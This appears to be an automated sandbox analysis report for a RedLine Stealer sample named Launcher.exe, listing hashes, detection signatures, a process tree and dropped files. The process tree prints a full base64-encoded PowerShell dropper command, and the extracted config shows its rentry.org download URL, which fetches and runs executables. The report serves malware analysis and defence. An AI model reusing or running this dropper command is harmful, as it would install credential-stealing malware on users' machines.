Resubmissions

19-07-2024 12:01

240719-n61zrszekn 10

19-07-2024 11:55

240719-n3jlbashnh 10

Analysis

  • max time kernel
    13s
  • max time network
    17s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    19-07-2024 12:01

General

  • Target

    Launcher.exe

  • Size

    74KB

  • MD5

    1d9b7c3504dc9c037ec7e4df5e0d78fc

  • SHA1

    37690eb13f157efe2d9e086f1da32a1035b51099

  • SHA256

    1738c03bb5e929c9b0e8d8f87140ba0e090ee230546381f8edb14c98801de3cf

  • SHA512

    8e89d40082599a8b426f8d4845902c2c2d6fd6c992828ea1509eced391af65943b7440569071c06a4f3fbbce63408ab144b916f0ad41e6bacf6a08fa008e58f9

  • SSDEEP

    768:2ioS9lv8MNcPcDkVQbcPcRovHF1/d8qZv:voS9lUMGF1/dX

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://rentry.org/lem9481291/raw

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Launcher.exe
    "C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAdQBkACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawB4AGkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdgBoAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdwBxAGYAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADkANAA4ADEAMgA5ADEALwByAGEAdwAnACkALgBTAHAAbABpAHQAKABbAHMAdAByAGkAbgBnAFsAXQBdACIAYAByAGAAbgAiACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AE4AbwBuAGUAKQA7ACAAJABmAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAUgBhAG4AZABvAG0ARgBpAGwAZQBOAGEAbQBlACgAKQA7ACAAZgBvAHIAIAAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAPAAjAGMAdQBnACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZwBjAHQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZABjAG4AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAKQAgAH0APAAjAGIAYQBxACMAPgA7ACAAZgBvAHIAIAAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGwAegBwACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBzAGEAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQAgAH0AIAA8ACMAcgB2AHYAIwA+AA=="
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1084
      • C:\Users\Admin\AppData\Local\Temp\vcvpvb1f.iwd0.exe
        "C:\Users\Admin\AppData\Local\Temp\vcvpvb1f.iwd0.exe"
        3⤵
        • Executes dropped EXE
        PID:3568

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30fg2lca.c0z.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\vcvpvb1f.iwd0.exe

    Filesize

    355KB

    MD5

    6c1c75b8e3f80bfdf738d23fb9f8a190

    SHA1

    8ec4cfcf959a157af6c296a12d7ec865c4ff4908

    SHA256

    8c797eb6be050516d990bcf592f1ff3a20a9b0407ff4e4566e856f18dfbfb3b6

    SHA512

    7f74c91fa96f43b1c90aecd0eb7f205e1fb391a2d8144624a9d6aceac62347f03bfd7867d89f4b1007f09c0386ffa2b01c44436c1e8ef0fb2739c2bead73269b

  • memory/1084-7-0x0000019B7B390000-0x0000019B7B3B2000-memory.dmp

    Filesize

    136KB

  • memory/1084-9-0x00007FFAB4880000-0x00007FFAB526C000-memory.dmp

    Filesize

    9.9MB

  • memory/1084-12-0x00007FFAB4880000-0x00007FFAB526C000-memory.dmp

    Filesize

    9.9MB

  • memory/1084-11-0x0000019B7B560000-0x0000019B7B5D6000-memory.dmp

    Filesize

    472KB

  • memory/1084-25-0x00007FFAB4880000-0x00007FFAB526C000-memory.dmp

    Filesize

    9.9MB

  • memory/1084-42-0x00007FFAB4880000-0x00007FFAB526C000-memory.dmp

    Filesize

    9.9MB

  • memory/1084-53-0x00007FFAB4880000-0x00007FFAB526C000-memory.dmp

    Filesize

    9.9MB

  • memory/4616-0-0x00007FFAB4883000-0x00007FFAB4884000-memory.dmp

    Filesize

    4KB

  • memory/4616-1-0x00000000004F0000-0x0000000000508000-memory.dmp

    Filesize

    96KB